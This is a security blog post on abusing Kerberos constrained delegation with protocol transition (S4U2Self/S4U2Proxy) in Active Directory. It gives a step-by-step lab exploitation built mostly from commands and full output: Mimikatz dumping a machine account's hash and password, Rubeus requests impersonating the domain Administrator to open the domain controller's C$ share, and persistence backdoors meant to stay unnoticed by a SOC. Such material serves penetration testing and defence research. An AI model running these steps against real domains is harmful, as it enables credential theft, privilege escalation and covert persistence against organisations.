Kerberos constrained delegation with protocol transition
27 Nov 2020Hello,
Today, we are talking about the exploitation of Kerberos protocol extensions S4U2Self and S4U2Proxy in order to impersonate a privileged user of the domain.
This post aims at focusing on the Kerberos constrained delegation with protocol transition which we will shorten T2A4D
(TrustedToAuthForDelegation); how to enumerate it, how to exploit it and use it as a method of persistence.
To not reinvent the wheel, you will find a very good article introducing the kerberos delegation on the blog hackndo.
Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo
Prerequisites
There are two methods to benefit from the Active Directory cmdlets:
Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online
N.B: can also be done offline thanks to the downloadable iso- https://github.com/samratashok/ADModule
TrustedToAuthForDelegation
srv$
is a machine account of the domain.
Get-ADComputer -Identity srv | Set-ADAccountControl -TrustedToAuthForDelegation $True
Set-ADComputer -Identity srv -Add @{'msDS-AllowedToDelegateTo'=@('TIME/DC.WINDOMAIN.LOCAL','TIME/DC')}
or through GUI:
Note that the constrained delegation can also be based on the resource (property msds-allowedtoactonbehalfofotheridentity).
Indeed, it seems more consistent to give legitimacy to a resource to decide which other resource can access it. We will come back to this later.
Let’s get our hands dirty.
Enumeration
The first interesting thing is to be able to list the service accounts affected by T2A4D :
PS C:\tools> Get-ADObject -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)" -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname : {WSMAN/SRV, WSMAN/SRV.windomain.local, TERMSRV/SRV, TERMSRV/SRV.windomain.local...}
msds-allowedtodelegateto : {TIME/DC, TIME/DC.WINDOMAIN.LOCAL}
distinguishedname : CN=SRV,CN=Computers,DC=windomain,DC=local
samaccountname : SRV$
samaccounttype : MACHINE_ACCOUNT
The tool Invoke-Recon will find it all for you.
Attack scenario
We are going to compromise a machine srv$
with the attribute useraccountcontrol with the value trusted_to_auth_for_delegation.
The machine srv$
runs a service SA
on which a user whatever authenticates using another mechanism than Kerberos (e.g. a web application with NTLM or basic authentication). In this case, SA
(or the web application) did not get any service ticket proving authentication from whatever to SA
. This service ticket is normally used by the S4U2Proxy
mechanism in order to carry out the classical constrained delegation.
This is where the constrained delegation with protocol transition comes in. The latter will still allow the “double hop” and allow SA
to request a service ticket for SB
by taking the identity of the user whatever.
SB
is either in the msDS-AllowedToDelegateTo field of SA
:
Or SA
is in the msDS-AllowedToActOnBehalfOfOtherIdentity field of SB
(Resource-Based Constrained Delegation).
This delegation will involve the protocol extensions ServiceForUserToSelf and ServiceForUserToProxy :
-
S4U2Self will simulate the kerberos authentication and thus the service ticket request for the user whatever.
SA
will somehow request a service ticket for itself for an arbitrary user.
The result is a forwardableT_SA
service ticket that can then be passed to the S4U2Proxy mechanism, the latter used for classical constrained delegation.Please note that the forwardable flag
iswas necessary and will be set if the delegating service accountSA
is marked as TRUSTED_TO_AUTH_FOR_DELEGATION. -
S4U2Proxy will use
T_SA
as a proof of whatever authentication toSA
in order to obtain a forwarded service ticket forSB
. -
The arbitrary user whatever connects to the service
SB
.
Note about TRUSTED_TO_AUTH_FOR_DELEGATION :
The S4U2Proxy mechanism will need a "forwardable" service ticket obtained thanks to S4U2Self mechanism. Note that the flag TRUSTED_TO_AUTH_FOR_DELEGATION is only used for the protocol transition, no flag is set with the classical constrained delegation.
Since KB4598347, the KDC will no more check the forwadable flag in the provided service ticket PAC but will directly look into the directory for the right conditions to be met to allow the S4U mechanism ;
- Is the "delegating" service legitimate to run the protocol transition (so here is SA marked as TRUSTED_TO_AUTH_FOR_DELEGATION) ?
- Is the "delegated" account (impersonated user) not a member of the Protected Users group and is not marked as "Account is sensitive and cannot be delegated" (NOT_DELEGATED), so is the account allowed to be delegated ?
If you heard about the Resource-Based Constrained Delegation attack (RBCD), you can wonder why if a trustee has the writeProperty right on a computer account it is so bad ?
Ok so first of all you can write the msds-AllowedToActOnBehalfOfOtherIdentity property with the SID of a principal you control, but ;
- Is this principal, the one that you just added to "msds-AllowedToActOnBehalfOfOtherIdentity", marked as TRUSTED_TO_AUTH_FOR_DELEGATION, so are you really legitimate to impersonate your user and run the S4U protocol extensions ?
In many cases this principal is not marked as TRUSTED_TO_AUTH_FOR_DELEGATION and you can not set this value as we will see later if you are not a privileged domain user.
So why the the RBCD attack is working ? ; for this special case of Resource-Based Constrained Delegation, it seems that the KDC only checks if the delegated user is OK to be delegated (not protected users, not NOT_DELEGATED), but the service (or here the principal which you edited the "msds-AllowedToActOnBehalfOfOtherIdentity" property) is not checked anymore to be legitimate to run the protocol transition (is it marked as TRUSTED_TO_AUTH_FOR_DELEGATION ?, aka T2A4D).
And why this is so interesting, because Microsoft decided that this is a feature, not a bug, so as a consequence this attack (RBCD) is still working on a fully patched Windows Server 2019 domain controller.
Now let’s get back to our scenario, if the T2A4D
service account running SA
has been compromised, we can generate a T_SA
for an arbitrary account (Domain Administrator) for an authorized service (msDS-AllowedToDelegateTo or msds-AllowedToActOnBehalfOfOtherIdentity if resource-based).
The SPNs being interchangeable (unencrypted part of the service ticket), it is possible to modify it by another SPN of the same service account (ex: using the service class CIFS, which gives us the SPN CIFS/DC instead of TIME/DC).
We have to be able to delegate the impersonated account.
It must be neither Protected Users, nor “Account is sensitive and cannot be delegated”.
Exploitation
It will be necessary to first compile Rubeus (from the repo Rubeus, launch the project, “Build -> Build Solution”).
It is assumed here that the srv$
machine has been compromised beforehand. Let’s find out its credentials:
C:\tools> C:\tools\Mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonPasswords
Authentication Id : 0 ; 19484783 (00000000:0129506f)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 9/25/2020 10:06:29 AM
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : srv$
* Domain : WINDOMAIN
* NTLM : b5858035cb595dd82050f9193b220232
* SHA1 : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
tspkg :
wdigest :
* Username : SRV$
* Domain : WINDOMAIN
* Password : (null)
kerberos :
* Username : SRV$
* Domain : windomain.local
* Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&G_n8C1eP(aIymKGM-d^E;J5>$uj*0? &duWc:"$tL$KtkJuqE+t[s@fw$#YA:O$Bh<%usYq@vU5 ,i6q^JK=q9bV:Ue?Y
ssp :
credman :
...
Now we need to unroll the S4U to generate a service ticket, not for TIME/DC, but for CIFS/DC for the WINDOMAIN\Administrator user.
Let’s check that the share \\DC\C$
is refused to us:
C:\tools>dir \\DC\C$
Access is denied.
First, we request a TGT for the compromised service account srv$
:
C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
[*] Building AS-REQ (w/ preauth) for: 'windomain.local\srv$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE5DCCBOCgAwIBBaEDAgEWooID9DCCA/BhggPsMIID6KADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIk
MCKgAwIBAqEbMBkbBmtyYnRndBsPd2luZG9tYWluLmxvY2Fso4IDpjCCA6KgAwIBEqEDAgECooIDlASC
A5DCmCD2rczQzoD7RBj3++6B+e7j68hijB0EoPUE87/OBc6Rw5hAPLzcWFJC8sfBuWWywOB/Y4O6Z9Xv
IKQsk8mypOz33ffprU2NhtGGz9fcuy2oFKonUhUU3QSCgMT16KOfkpt2QYsan9zV4vUJpdEDrRCkdKCx
+bu+dL63100hpjT8BlOZDsobNBPalaQRo1AihpxPgA48UtsDVB/hG0A4monF5x2wCBsoKy+7MEBi0CAa
tLDv60ly4eIvRPijEXkN3Zmm/l1wIzWt4WpcGFdpoSTS+VLkgws9zHVCuoQlOGWURjTHRksHjIG6Exkf
KXyCBCuO6vUxC+DUv3vCVC1wBEs5e7VXtGPhUzd8jJoSVCc+oSv4zXS+NzVf0RTr8ephMHxrXzzpCVQL
y+3fLU+5/xcnzZiTypBDnjeluHKnlj+cZhQVniQU5PEhGw+DnaL22QZqOPY08VouXUtE44spKsrRGu8N
qkwqdLVFTDSNNYgUGFGAvUG7QyWeC/XhbYvA5dpM9DUXhVo7ri3A4TZbLSfdrfiy14cOrl6AV8yD1Afo
+Dks8KELhnba6JWdY6RVgbgXgvwDuy69JKrTPhifpTwEMrvbJejRnM0iD4YwwPTY6qT9xtXDRw5nfb/N
yd2WZVmwlFsg3JBl0VCNAzfTxyZLhta5s8G8lRJmpBTUPgxWXVleta4v9XGGoWuT0WlmSveXSKrowwLZ
BhHaSm0/IVRypnWyJYEY+PU7LXOsHDt3arS8WWMUV/niRYEVSIHM86AF5m7VJL52XRXeM45u/jtpWwfL
b0/Dx0Hma2A/dti+2ns+PyjQxhMxj9iqKwyVAsNYkKlTL8HgD/NqT+Tt2Lh7CnhP6gqIpdQswTUq/XLO
8FA/ZKtg13mF0A8FqbUKbmcntXc6+oBklkoQAilQSbShmrVuqLAMEoMOnc2l7S0tTGpDlPkNzIzcTk9l
BdPbVvmWhMOu8JV/SywUW60pO3YpoBu8qpIuHUboFNbzBszDh+N0D9WK8Idt5YSQAqVpRQY01aDiO1H8
rOq1yrDlShkzNG2pixurvyNsckdRRytESyggACpn12cXOWOOUcQzMyf42m+gyuj4WaoL98elvax0Qz51
wSFpyoBq4gj1QF+h2RroJabfKBIwemCbeKD7CE5gQEkYLWCjoSNwzYGMEmtVZdDib8nlIRarsqNsrZGF
RTpD9hg1sjrWJhZ9gjijgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBD6
04gmG9bj12WZbdd2ZJYboREbD1dJTkRPTUFJTi5MT0NBTKIRMA+gAwIBAaEIMAYbBHNydiSjBwMFAEDh
AAClERgPMjAyMDA5MjUxODA1MDdaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qo
ERsPV0lORE9NQUlOLkxPQ0FMqSQwIqADAgECoRswGRsGa3JidGd0Gw93aW5kb21haW4ubG9jYWw=
[*] Ticket written to srv.tgt
ServiceName : krbtgt/windomain.local
ServiceRealm : WINDOMAIN.LOCAL
UserName : srv$
UserRealm : WINDOMAIN.LOCAL
StartTime : 9/25/2020 6:05:07 PM
EndTime : 9/26/2020 4:05:07 AM
RenewTill : 10/2/2020 6:05:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +tOIJhvW49dlmW3XdmSWGw==
Then this TGT will allow us to initiate the S4U2Self. Then the S4U2Proxy will intervene as explained previously for the CIFS service (be aware of /altservice:cifs) :
C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2self request for: '[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to '[email protected]'
[*] base64(ticket.kirbi):
doIFuDCCBbSgAwIBBaEDAgEWooIEsjCCBK5hggSqMIIEpqADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIR
MA+gAwIBAaEIMAYbBHNydiSjggR3MIIEc6ADAgESoQMCAQGiggRlBIIEYcxRH6oOpVLCdgbZ6gomDOHM
fSpxdDDx/VFEJEPRPY56MsZp/cG9wHiegP+xgXX6cC+5IlvoBWN/90zftzZH8xPIIJXnCLGKrApdov3m
LU5igHK3NITyU5IUaaAwVYSJEfVwp0jgyOoGPP1g+3CJ8tEpeRDAvWGwt+YzeA+kw5HkRu1lge39utYd
nTX4vdx0Gj6REbMlTHLax6jmwux4uBSsgz1Dqri9lvfLetE7W2v5EyeLL8pw9FdMmjyObLUuL7eWj4/D
N46PD1RJ/YyDxuvMQKzMF1F2qKl9cAlnl7hn6Nv7GaSxEawZ/iFXJ34gGHrqmg75jJLNzHjBvx29Uxee
cRBRbSV4u3LNXjPoWQdd72/F/7xdj8o1Wyzn8DcSOCt0LOkVjNEJdmPMJUwXkxFu5PSACgrUyWjsxh6A
l7VoGLX2rzPO5ErJz92byGRIK4zlSy+Vlj1y4GrpUvsM6hjvg8Gf4SFHYkRrx1UMKf2ga2hBTOjrUHVH
H6pDmYhUD7DCtX0kHymGvu6QsRbHyXI3lNDWQ2vBspxYq+UvzNMS8OI3HnhHxZ9UdO7BiuMnNw+8VX/L
X4X3Qqh4k4Y5BgefNZ5LfgoPWb3eCjoJC/02bRTia4FPMvRUp9YdT4fQMOUzOSSSRHyS+Id29IDdMq3X
Y2L4QyPT+eD+eF8M+1icZMtD88YiutoQzPL4LX/O4QJPoAkW1yVJR25i/0jM/0HSnNHC8Sv0WFjuHNbU
K7a6cCZHBl8hGSsh5ZUxM90Sp/hPDkRe1f1ymBtOH7muLQUwegoDjVPUQ3QWOeFCzW6Z0yEixhjiIiiJ
amcgYZOzcmb/e3ncPyfiL/90wgN+fdWY4TAW1qz5EqlZUpT+S0n89axHfdSSVaOvsSbqTUKRaNxeK8wE
FmFpTe7QGAy+KQcfW9utrAQfmnr9c/EjkYURYiktAoTZH0kuttIVuXIAAwDJln/nKelf8e5C+MK0DNof
FaNMH/WhX06d8JFsKHkCweWkIghtYuMsAHpItDZ7apWQqY915QwczLCHUxGJHfJVabAseqPsRDjLDv0r
tq1PkIQ1JAQYNGYOhHTSxlgp2Zn5HlmPnGh1CP2+cqhBXUg2bXlYIUSVTckZfjnyneZ+ApmK4KIx8gr0
ceLXZoYVPa0hjzT+/Mm9daomDJRssRGDrudoh3XzGG9RmRWMkFEVDkO60Hp3Bvsi6sjbaEJNEbU8mjpj
1ksggx17H3kN5wkTidvMxpMpf7DEGFRzOQmtUcvwYI3mK3K4eTo7OEJaN+w3GWyqvStEFmcx37u6t8TB
4MmCOGtHNkasy/x4//Tz3v399I68h09Jmq66weMDNwstpd4qEXbKe3caCLqo5joo9tDkZ2mWVRCsJFnk
sQb/RE4lja1m157yEBOGaDt6wNcRRaq68BzUe33bE61pWInoyrbodzc7taE0DvELpLcx2TXTjZaEBIQq
oDD75ya/XgMrEHfP3GH9bJZJKu5PsJqAo4HxMIHuoAMCAQCigeYEgeN9geAwgd2ggdowgdcwgdSgKzAp
oAMCARKhIgQgCWWT9pRXAEkSPGgQMKizTyzBHYCfq+EQAQr3MKs7loqhERsPV0lORE9NQUlOLkxPQ0FM
oiowKKADAgEKoSEwHxsdQWRtaW5pc3RyYXRvckBXSU5ET01BSU4uTE9DQUyjBwMFAEChAAClERgPMjAy
MDA5MjUxODA1NDVaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qoERsPV0lORE9N
QUlOLkxPQ0FMqREwD6ADAgEBoQgwBhsEc3J2JA==
[+] Ticket successfully imported!
[*] Impersonating user 'Administrator' to target SPN 'TIME/DC'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2proxy request for service: 'TIME/DC'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/dc':
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
TE9DQUypFTAToAMCAQKhDDAKGwRjaWZzGwJkYw==
[+] Ticket successfully imported!
We do have our service ticket for CIFS/DC in the name of WINDOMAIN\Administrator :
C:\tools> klist
...
#1> Client: Administrator @ WINDOMAIN.LOCAL
Server: cifs/dc @ WINDOMAIN.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/25/2020 18:05:46 (local)
End Time: 9/26/2020 4:05:07 (local)
Renew Time: 10/2/2020 18:05:07 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
...
Let’s test it out:
C:\tools>dir \\DC\C$
Volume in drive \\DC\C$ is Windows 2019
Volume Serial Number is 28C8-9A14
Directory of \\DC\C$
09/27/2020 08:50 AM <DIR> PerfLogs
09/27/2020 08:06 AM <DIR> Program Files
09/27/2020 08:00 AM <DIR> Program Files (x86)
10/20/2020 01:07 PM <DIR> tmp
09/27/2020 08:00 AM <DIR> Users
10/20/2020 01:26 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
10/20/2020 01:10 PM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 36,839,563,264 bytes free
Persistence
To set the TRUSTED_TO_AUTH_FOR_DELEGATION attribute, we need the SeEnableDelegationPrivilege.
Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.
An interesting persistence method consists, from a compromised user with the SeEnableDelegationPrivilege
privilege, in setting the TRUSTED_TO_AUTH_FOR_DELEGATION
value on another lambda compromised user that can be delegated, and to edit the mDS-AllowedToDelegateTo
field with the SPN CIFS/DC
for example, allowing to replay the attack.
T2A4D on an arbitrary domain user
You have compromised a privileged user, however the protected groups are supervised by the SOC, they have their security descriptors reset by the SDProp
mechanism (AdminSDHolder), etc, so many elements that make you say that you would like to backdoor a user who can spend as much time as possible under the radars (let’s hope however that a delegation to a DC is supervised by the SOC).
Let’s play this method in our lab. The bleponge
user is the most banal domain user, admin01
is what you have been sweating for the last few days:
PS C:\> WMIC OS Get Name
Name
Microsoft Windows 10 Education N|C:\Windows|\Device\Harddisk0\Partition2
PS C:\> whoami
windomain\admin01
PS C:\> net user admin01 /domain | Select-String "Group"
Local Group Memberships
Global Group memberships *Domain Users *Domain Admins
PS C:\> net user bleponge /domain | Select-String "Group"
Local Group Memberships
Global Group memberships *Domain Users
PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
useraccountcontrol : NORMAL_ACCOUNT
distinguishedname : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname : bleponge
samaccounttype : USER_OBJECT
PS C:\> Get-ADUser -Identity bleponge | Set-ADAccountControl -TrustedToAuthForDelegation $True
PS C:\> Set-ADUSer -Identity bleponge -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/DC.WINDOMAIN.LOCAL','CIFS/DC')}
PS C:\> Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname : nonexistent/BLAHBLAH
msds-allowedtodelegateto : {CIFS/DC, CIFS/DC.WINDOMAIN.LOCAL}
distinguishedname : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname : bleponge
samaccounttype : USER_OBJECT
Take care with the command Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
.
Indeed, in order for the S4U2Self
mechanism to work with Rubeus, a SPN must be set on the bleponge
user, otherwise an exception will be propagated:
...
[!] Unhandled Rubeus exception:
System.NullReferenceException: Object reference not set to an instance of an object.
at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)
Now all you have to do is to go back to our Exploitation section and to reproduce the attack in the context of our bleponge
user.
Testing with the HOST
service class (HOST/DC), it was impossible for us to list our share \\DC\C$
. This has already been encountered by pixis.
SeEnableDelegationPrivilege
We can also create a backdoor for a user by assigning him the SeEnableDelegationPrivilege
, so that this user can set the TRUSTED_TO_AUTH_FOR_DELEGATION
and write the msDS-AllowedToDelegateTo
field on another resource (https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/).
The End
Feel free to comment / ask your questions. You can also contact me on Twitter.
See you soon.
Phackt.